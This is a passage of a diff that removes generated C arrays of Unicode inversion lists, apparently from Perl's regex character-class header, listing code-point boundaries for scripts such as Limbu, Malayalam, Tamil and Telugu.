0x2762, + 0x2764, + 0x2765, + 0x2768, + 0x2769, + 0x276A, + 0x276B, + 0x276C, + 0x276D, + 0x276E, + 0x276F, + 0x2770, + 0x2771, + 0x2772, + 0x2773, + 0x2774, + 0x2775, + 0x2776, + 0x27C5, + 0x27C6, + 0x27C7, + 0x27E6, + 0x27E7, + 0x27E8, + 0x27E9, + 0x27EA, + 0x27EB, + 0x27EC, + 0x27ED, + 0x27EE, + 0x27EF, + 0x27F0, + 0x2983, + 0x2984, + 0x2985, + 0x2986, + 0x2987, + 0x2988, + 0x2989, + 0x298A, + 0x298B, + 0x298C, + 0x298D, + 0x298E, + 0x298F, + 0x2990, + 0x2991, + 0x2992, + 0x2993, + 0x2994, + 0x2995, + 0x2996, + 0x2997, + 0x2998, + 0x2999, + 0x29D8, + 0x29D9, + 0x29DA, + 0x29DB, + 0x29DC, + 0x29FC, + 0x29FD, + 0x29FE, + 0x2CEF, + 0x2CF2, + 0x2CF9, + 0x2CFA, + 0x2CFD, + 0x2CFE, + 0x2CFF, + 0x2D00, + 0x2D70, + 0x2D71, + 0x2D7F, + 0x2D80, + 0x2DE0, + 0x2E00, + 0x2E0E, + 0x2E16, + 0x2E17, + 0x2E18, + 0x2E19, + 0x2E1A, + 0x2E1C, + 0x2E1E, + 0x2E20, + 0x2E22, + 0x2E23, + 0x2E24, + 0x2E25, + 0x2E26, + 0x2E27, + 0x2E28, + 0x2E29, + 0x2E2A, + 0x2E2E, + 0x2E2F, + 0x2E30, + 0x2E32, + 0x2E33, + 0x2E35, + 0x2E3A, + 0x2E3C, + 0x2E3F, + 0x2E40, + 0x2E42, + 0x2E43, + 0x2E45, + 0x2E80, + 0x2E9A, + 0x2E9B, + 0x2EF4, + 0x2F00, + 0x2FD6, + 0x2FF0, + 0x2FFC, + 0x3000, + 0x3001, + 0x3003, + 0x3005, + 0x3006, + 0x3008, + 0x3009, + 0x300A, + 0x300B, + 0x300C, + 0x300D, + 0x300E, + 0x300F, + 0x3010, + 0x3011, + 0x3012, + 0x3014, + 0x3015, + 0x3016, + 0x3017, + 0x3018, + 0x3019, + 0x301A, + 0x301B, + 0x301C, + 0x301D, + 0x301E, + 0x3020, + 0x302A, + 0x3030, + 0x3035, + 0x3036, + 0x303B, + 0x303D, + 0x3040, + 0x3041, + 0x3042, + 0x3043, + 0x3044, + 0x3045, + 0x3046, + 0x3047, + 0x3048, + 0x3049, + 0x304A, + 0x3063, + 0x3064, + 0x3083, + 0x3084, + 0x3085, + 0x3086, + 0x3087, + 0x3088, + 0x308E, + 0x308F, + 0x3095, + 0x3097, + 0x3099, + 0x309B, + 0x309F, + 0x30A0, + 0x30A2, + 0x30A3, + 0x30A4, + 0x30A5, + 0x30A6, + 0x30A7, + 0x30A8, + 0x30A9, + 0x30AA, + 0x30C3, + 0x30C4, + 0x30E3, + 0x30E4, + 0x30E5, + 0x30E6, + 0x30E7, + 0x30E8, + 0x30EE, + 0x30EF, + 0x30F5, + 0x30F7, + 0x30FB, + 0x30FF, + 0x3100, + 0x3105, + 0x312E, + 0x3131, + 0x318F, + 0x3190, + 0x31BB, + 0x31C0, + 0x31E4, + 0x31F0, + 0x3200, + 0x321F, + 0x3220, + 0x3248, + 0x3250, + 0x32FF, + 0x3300, + 0x4DC0, + 0x4E00, + 0xA015, + 0xA016, + 0xA48D, + 0xA490, + 0xA4C7, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA60E, + 0xA60F, + 0xA610, + 0xA620, + 0xA62A, + 0xA66F, + 0xA673, + 0xA674, + 0xA67E, + 0xA69E, + 0xA6A0, + 0xA6F0, + 0xA6F2, + 0xA6F3, + 0xA6F8, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, + 0xA828, + 0xA838, + 0xA839, + 0xA874, + 0xA876, + 0xA878, + 0xA880, + 0xA882, + 0xA8B4, + 0xA8C6, + 0xA8CE, + 0xA8D0, + 0xA8DA, + 0xA8E0, + 0xA8F2, + 0xA8FC, + 0xA8FD, + 0xA900, + 0xA90A, + 0xA926, + 0xA92E, + 0xA930, + 0xA947, + 0xA954, + 0xA960, + 0xA97D, + 0xA980, + 0xA984, + 0xA9B3, + 0xA9C1, + 0xA9C7, + 0xA9CA, + 0xA9D0, + 0xA9DA, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, + 0xAA29, + 0xAA37, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4E, + 0xAA50, + 0xAA5A, + 0xAA5D, + 0xAA60, + 0xAA7B, + 0xAA7E, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAEB, + 0xAAF0, + 0xAAF2, + 0xAAF5, + 0xAAF7, + 0xABE3, + 0xABEB, + 0xABEC, + 0xABEE, + 0xABF0, + 0xABFA, + 0xAC00, + 0xAC01, + 0xAC1C, + 0xAC1D, + 0xAC38, + 0xAC39, + 0xAC54, + 0xAC55, + 0xAC70, + 0xAC71, + 0xAC8C, + 0xAC8D, + 0xACA8, + 0xACA9, + 0xACC4, + 0xACC5, + 0xACE0, + 0xACE1, + 0xACFC, + 0xACFD, + 0xAD18, + 0xAD19, + 0xAD34, + 0xAD35, + 0xAD50, + 0xAD51, + 0xAD6C, + 0xAD6D, + 0xAD88, + 0xAD89, + 0xADA4, + 0xADA5, + 0xADC0, + 0xADC1, + 0xADDC, + 0xADDD, + 0xADF8, + 0xADF9, + 0xAE14, + 0xAE15, + 0xAE30, + 0xAE31, + 0xAE4C, + 0xAE4D, + 0xAE68, + 0xAE69, + 0xAE84, + 0xAE85, + 0xAEA0, + 0xAEA1, + 0xAEBC, + 0xAEBD, + 0xAED8, + 0xAED9, + 0xAEF4, + 0xAEF5, + 0xAF10, + 0xAF11, + 0xAF2C, + 0xAF2D, + 0xAF48, + 0xAF49, + 0xAF64, + 0xAF65, + 0xAF80, + 0xAF81, + 0xAF9C, + 0xAF9D, + 0xAFB8, + 0xAFB9, + 0xAFD4, + 0xAFD5, + 0xAFF0, + 0xAFF1, + 0xB00C, + 0xB00D, + 0xB028, + 0xB029, + 0xB044, + 0xB045, + 0xB060, + 0xB061, + 0xB07C, + 0xB07D, + 0xB098, + 0xB099, + 0xB0B4, + 0xB0B5, + 0xB0D0, + 0xB0D1, + 0xB0EC, + 0xB0ED, + 0xB108, + 0xB109, + 0xB124, + 0xB125, + 0xB140, + 0xB141, + 0xB15C, + 0xB15D, + 0xB178, + 0xB179, + 0xB194, + 0xB195, + 0xB1B0, + 0xB1B1, + 0xB1CC, + 0xB1CD, + 0xB1E8, + 0xB1E9, + 0xB204, + 0xB205, + 0xB220, + 0xB221, + 0xB23C, + 0xB23D, + 0xB258, + 0xB259, + 0xB274, + 0xB275, + 0xB290, + 0xB291, + 0xB2AC, + 0xB2AD, + 0xB2C8, + 0xB2C9, + 0xB2E4, + 0xB2E5, + 0xB300, + 0xB301, + 0xB31C, + 0xB31D, + 0xB338, + 0xB339, + 0xB354, + 0xB355, + 0xB370, + 0xB371, + 0xB38C, + 0xB38D, + 0xB3A8, + 0xB3A9, + 0xB3C4, + 0xB3C5, + 0xB3E0, + 0xB3E1, + 0xB3FC, + 0xB3FD, + 0xB418, + 0xB419, + 0xB434, + 0xB435, + 0xB450, + 0xB451, + 0xB46C, + 0xB46D, + 0xB488, + 0xB489, + 0xB4A4, + 0xB4A5, + 0xB4C0, + 0xB4C1, + 0xB4DC, + 0xB4DD, + 0xB4F8, + 0xB4F9, + 0xB514, + 0xB515, + 0xB530, + 0xB531, + 0xB54C, + 0xB54D, + 0xB568, + 0xB569, + 0xB584, + 0xB585, + 0xB5A0, + 0xB5A1, + 0xB5BC, + 0xB5BD, + 0xB5D8, + 0xB5D9, + 0xB5F4, + 0xB5F5, + 0xB610, + 0xB611, + 0xB62C, + 0xB62D, + 0xB648, + 0xB649, + 0xB664, + 0xB665, + 0xB680, + 0xB681, + 0xB69C, + 0xB69D, + 0xB6B8, + 0xB6B9, + 0xB6D4, + 0xB6D5, + 0xB6F0, + 0xB6F1, + 0xB70C, + 0xB70D, + 0xB728, + 0xB729, + 0xB744, + 0xB745, + 0xB760, + 0xB761, + 0xB77C, + 0xB77D, + 0xB798, + 0xB799, + 0xB7B4, + 0xB7B5, + 0xB7D0, + 0xB7D1, + 0xB7EC, + 0xB7ED, + 0xB808, + 0xB809, + 0xB824, + 0xB825, + 0xB840, + 0xB841, + 0xB85C, + 0xB85D, + 0xB878, + 0xB879, + 0xB894, + 0xB895, + 0xB8B0, + 0xB8B1, + 0xB8CC, + 0xB8CD, + 0xB8E8, + 0xB8E9, + 0xB904, + 0xB905, + 0xB920, + 0xB921, + 0xB93C, + 0xB93D, + 0xB958, + 0xB959, + 0xB974, + 0xB975, + 0xB990, + 0xB991, + 0xB9AC, + 0xB9AD, + 0xB9C8, + 0xB9C9, + 0xB9E4, + 0xB9E5, + 0xBA00, + 0xBA01, + 0xBA1C, + 0xBA1D, + 0xBA38, + 0xBA39, + 0xBA54, + 0xBA55, + 0xBA70, + 0xBA71, + 0xBA8C, + 0xBA8D, + 0xBAA8, + 0xBAA9, + 0xBAC4, + 0xBAC5, + 0xBAE0, + 0xBAE1, + 0xBAFC, + 0xBAFD, + 0xBB18, + 0xBB19, + 0xBB34, + 0xBB35, + 0xBB50, + 0xBB51, + 0xBB6C, + 0xBB6D, + 0xBB88, + 0xBB89, + 0xBBA4, + 0xBBA5, + 0xBBC0, + 0xBBC1, + 0xBBDC, + 0xBBDD, + 0xBBF8, + 0xBBF9, + 0xBC14, + 0xBC15, + 0xBC30, + 0xBC31, + 0xBC4C, + 0xBC4D, + 0xBC68, + 0xBC69, + 0xBC84, + 0xBC85, + 0xBCA0, + 0xBCA1, + 0xBCBC, + 0xBCBD, + 0xBCD8, + 0xBCD9, + 0xBCF4, + 0xBCF5, + 0xBD10, + 0xBD11, + 0xBD2C, + 0xBD2D, + 0xBD48, + 0xBD49, + 0xBD64, + 0xBD65, + 0xBD80, + 0xBD81, + 0xBD9C, + 0xBD9D, + 0xBDB8, + 0xBDB9, + 0xBDD4, + 0xBDD5, + 0xBDF0, + 0xBDF1, + 0xBE0C, + 0xBE0D, + 0xBE28, + 0xBE29, + 0xBE44, + 0xBE45, + 0xBE60, + 0xBE61, + 0xBE7C, + 0xBE7D, + 0xBE98, + 0xBE99, + 0xBEB4, + 0xBEB5, + 0xBED0, + 0xBED1, + 0xBEEC, + 0xBEED, + 0xBF08, + 0xBF09, + 0xBF24, + 0xBF25, + 0xBF40, + 0xBF41, + 0xBF5C, + 0xBF5D, + 0xBF78, + 0xBF79, + 0xBF94, + 0xBF95, + 0xBFB0, + 0xBFB1, + 0xBFCC, + 0xBFCD, + 0xBFE8, + 0xBFE9, + 0xC004, + 0xC005, + 0xC020, + 0xC021, + 0xC03C, + 0xC03D, + 0xC058, + 0xC059, + 0xC074, + 0xC075, + 0xC090, + 0xC091, + 0xC0AC, + 0xC0AD, + 0xC0C8, + 0xC0C9, + 0xC0E4, + 0xC0E5, + 0xC100, + 0xC101, + 0xC11C, + 0xC11D, + 0xC138, + 0xC139, + 0xC154, + 0xC155, + 0xC170, + 0xC171, + 0xC18C, + 0xC18D, + 0xC1A8, + 0xC1A9, + 0xC1C4, + 0xC1C5, + 0xC1E0, + 0xC1E1, + 0xC1FC, + 0xC1FD, + 0xC218, + 0xC219, + 0xC234, + 0xC235, + 0xC250, + 0xC251, + 0xC26C, + 0xC26D, + 0xC288, + 0xC289, + 0xC2A4, + 0xC2A5, + 0xC2C0, + 0xC2C1, + 0xC2DC, + 0xC2DD, + 0xC2F8, + 0xC2F9, + 0xC314, + 0xC315, + 0xC330, + 0xC331, + 0xC34C, + 0xC34D, + 0xC368, + 0xC369, + 0xC384, + 0xC385, + 0xC3A0, + 0xC3A1, + 0xC3BC, + 0xC3BD, + 0xC3D8, + 0xC3D9, + 0xC3F4, + 0xC3F5, + 0xC410, + 0xC411, + 0xC42C, + 0xC42D, + 0xC448, + 0xC449, + 0xC464, + 0xC465, + 0xC480, + 0xC481, + 0xC49C, + 0xC49D, + 0xC4B8, + 0xC4B9, + 0xC4D4, + 0xC4D5, + 0xC4F0, + 0xC4F1, + 0xC50C, + 0xC50D, + 0xC528, + 0xC529, + 0xC544, + 0xC545, + 0xC560, + 0xC561, + 0xC57C, + 0xC57D, + 0xC598, + 0xC599, + 0xC5B4, + 0xC5B5, + 0xC5D0, + 0xC5D1, + 0xC5EC, + 0xC5ED, + 0xC608, + 0xC609, + 0xC624, + 0xC625, + 0xC640, + 0xC641, + 0xC65C, + 0xC65D, + 0xC678, + 0xC679, + 0xC694, + 0xC695, + 0xC6B0, + 0xC6B1, + 0xC6CC, + 0xC6CD, + 0xC6E8, + 0xC6E9, + 0xC704, + 0xC705, + 0xC720, + 0xC721, + 0xC73C, + 0xC73D, + 0xC758, + 0xC759, + 0xC774, + 0xC775, + 0xC790, + 0xC791, + 0xC7AC, + 0xC7AD, + 0xC7C8, + 0xC7C9, + 0xC7E4, + 0xC7E5, + 0xC800, + 0xC801, + 0xC81C, + 0xC81D, + 0xC838, + 0xC839, + 0xC854, + 0xC855, + 0xC870, + 0xC871, + 0xC88C, + 0xC88D, + 0xC8A8, + 0xC8A9, + 0xC8C4, + 0xC8C5, + 0xC8E0, + 0xC8E1, + 0xC8FC, + 0xC8FD, + 0xC918, + 0xC919, + 0xC934, + 0xC935, + 0xC950, + 0xC951, + 0xC96C, + 0xC96D, + 0xC988, + 0xC989, + 0xC9A4, + 0xC9A5, + 0xC9C0, + 0xC9C1, + 0xC9DC, + 0xC9DD, + 0xC9F8, + 0xC9F9, + 0xCA14, + 0xCA15, + 0xCA30, + 0xCA31, + 0xCA4C, + 0xCA4D, + 0xCA68, + 0xCA69, + 0xCA84, + 0xCA85, + 0xCAA0, + 0xCAA1, + 0xCABC, + 0xCABD, + 0xCAD8, + 0xCAD9, + 0xCAF4, + 0xCAF5, + 0xCB10, + 0xCB11, + 0xCB2C, + 0xCB2D, + 0xCB48, + 0xCB49, + 0xCB64, + 0xCB65, + 0xCB80, + 0xCB81, + 0xCB9C, + 0xCB9D, + 0xCBB8, + 0xCBB9, + 0xCBD4, + 0xCBD5, + 0xCBF0, + 0xCBF1, + 0xCC0C, + 0xCC0D, + 0xCC28, + 0xCC29, + 0xCC44, + 0xCC45, + 0xCC60, + 0xCC61, + 0xCC7C, + 0xCC7D, + 0xCC98, + 0xCC99, + 0xCCB4, + 0xCCB5, + 0xCCD0, + 0xCCD1, + 0xCCEC, + 0xCCED, + 0xCD08, + 0xCD09, + 0xCD24, + 0xCD25, + 0xCD40, + 0xCD41, + 0xCD5C, + 0xCD5D, + 0xCD78, + 0xCD79, + 0xCD94, + 0xCD95, + 0xCDB0, + 0xCDB1, + 0xCDCC, + 0xCDCD, + 0xCDE8, + 0xCDE9, + 0xCE04, + 0xCE05, + 0xCE20, + 0xCE21, + 0xCE3C, + 0xCE3D, + 0xCE58, + 0xCE59, + 0xCE74, + 0xCE75, + 0xCE90, + 0xCE91, + 0xCEAC, + 0xCEAD, + 0xCEC8, + 0xCEC9, + 0xCEE4, + 0xCEE5, + 0xCF00, + 0xCF01, + 0xCF1C, + 0xCF1D, + 0xCF38, + 0xCF39, + 0xCF54, + 0xCF55, + 0xCF70, + 0xCF71, + 0xCF8C, + 0xCF8D, + 0xCFA8, + 0xCFA9, + 0xCFC4, + 0xCFC5, + 0xCFE0, + 0xCFE1, + 0xCFFC, + 0xCFFD, + 0xD018, + 0xD019, + 0xD034, + 0xD035, + 0xD050, + 0xD051, + 0xD06C, + 0xD06D, + 0xD088, + 0xD089, + 0xD0A4, + 0xD0A5, + 0xD0C0, + 0xD0C1, + 0xD0DC, + 0xD0DD, + 0xD0F8, + 0xD0F9, + 0xD114, + 0xD115, + 0xD130, + 0xD131, + 0xD14C, + 0xD14D, + 0xD168, + 0xD169, + 0xD184, + 0xD185, + 0xD1A0, + 0xD1A1, + 0xD1BC, + 0xD1BD, + 0xD1D8, + 0xD1D9, + 0xD1F4, + 0xD1F5, + 0xD210, + 0xD211, + 0xD22C, + 0xD22D, + 0xD248, + 0xD249, + 0xD264, + 0xD265, + 0xD280, + 0xD281, + 0xD29C, + 0xD29D, + 0xD2B8, + 0xD2B9, + 0xD2D4, + 0xD2D5, + 0xD2F0, + 0xD2F1, + 0xD30C, + 0xD30D, + 0xD328, + 0xD329, + 0xD344, + 0xD345, + 0xD360, + 0xD361, + 0xD37C, + 0xD37D, + 0xD398, + 0xD399, + 0xD3B4, + 0xD3B5, + 0xD3D0, + 0xD3D1, + 0xD3EC, + 0xD3ED, + 0xD408, + 0xD409, + 0xD424, + 0xD425, + 0xD440, + 0xD441, + 0xD45C, + 0xD45D, + 0xD478, + 0xD479, + 0xD494, + 0xD495, + 0xD4B0, + 0xD4B1, + 0xD4CC, + 0xD4CD, + 0xD4E8, + 0xD4E9, + 0xD504, + 0xD505, + 0xD520, + 0xD521, + 0xD53C, + 0xD53D, + 0xD558, + 0xD559, + 0xD574, + 0xD575, + 0xD590, + 0xD591, + 0xD5AC, + 0xD5AD, + 0xD5C8, + 0xD5C9, + 0xD5E4, + 0xD5E5, + 0xD600, + 0xD601, + 0xD61C, + 0xD61D, + 0xD638, + 0xD639, + 0xD654, + 0xD655, + 0xD670, + 0xD671, + 0xD68C, + 0xD68D, + 0xD6A8, + 0xD6A9, + 0xD6C4, + 0xD6C5, + 0xD6E0, + 0xD6E1, + 0xD6FC, + 0xD6FD, + 0xD718, + 0xD719, + 0xD734, + 0xD735, + 0xD750, + 0xD751, + 0xD76C, + 0xD76D, + 0xD788, + 0xD789, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, 0xFB00, - 0xFB07, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_SC__LIMB_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1950 -}; - -static const UV PL_SC__LINA_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768 -}; - -static const UV PL_SC__LINB_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB -}; - -static const UV PL_SC__MAHJ_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11150, - 0x11177 -}; - -static const UV PL_SC__MAND_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x840, - 0x85C, - 0x85E, - 0x85F -}; - -static const UV PL_SC__MANI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7 -}; - -static const UV PL_SC__MLYM_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80 -}; - -static const UV PL_SC__MODI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11600, - 0x11645, - 0x11650, - 0x1165A -}; - -static const UV PL_SC__MONG_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1800, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x11660, - 0x1166D -}; - -static const UV PL_SC__MULT_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA -}; - -static const UV PL_SC__MYMR_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1000, - 0x10A0, - 0xA9E0, - 0xA9FF, - 0xAA60, - 0xAA80 -}; - -static const UV PL_SC__ORYA_invlist[] = { /* for all charsets */ - 29, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78 -}; - -static const UV PL_SC__PERM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10350, - 0x1037B -}; - -static const UV PL_SC__PHAG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA840, - 0xA878 -}; - -static const UV PL_SC__PHLP_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B80, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0 -}; - -static const UV PL_SC__QAAI_invlist[] = { /* for all charsets */ - 55, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, - 0x370, - 0x485, - 0x487, - 0x64B, - 0x656, - 0x670, - 0x671, - 0x951, - 0x953, - 0x1AB0, - 0x1ABF, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200C, - 0x200E, - 0x20D0, - 0x20F1, - 0x302A, - 0x302E, - 0x3099, - 0x309B, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE2E, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0xE0100, - 0xE01F0 -}; - -static const UV PL_SC__SHRD_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0 -}; - -static const UV PL_SC__SIND_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA -}; - -static const UV PL_SC__SINH_invlist[] = { /* for all charsets */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0x111E1, - 0x111F5 -}; - -static const UV PL_SC__SYLO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA800, - 0xA82C -}; - -static const UV PL_SC__SYRC_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x700, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x750, - 0x860, - 0x86B -}; - -static const UV PL_SC__TAGB_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774 -}; - -static const UV PL_SC__TAKR_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA -}; - -static const UV PL_SC__TALE_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1950, - 0x196E, - 0x1970, - 0x1975 -}; - -static const UV PL_SC__TAML_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB -}; - -static const UV PL_SC__TELU_invlist[] = { /* for all charsets */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80 -}; - -static const UV PL_SC__TGLG_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1700, - 0x170D, - 0x170E, - 0x1715 -}; - -static const UV PL_SC__THAA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x780, - 0x7B2 -}; - -static const UV PL_SC__TIRH_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA -}; - -static const UV PL_SC__YI_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SC__ZYYY_invlist[] = { /* for ASCII/Latin1 */ - 328, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x386, - 0x387, - 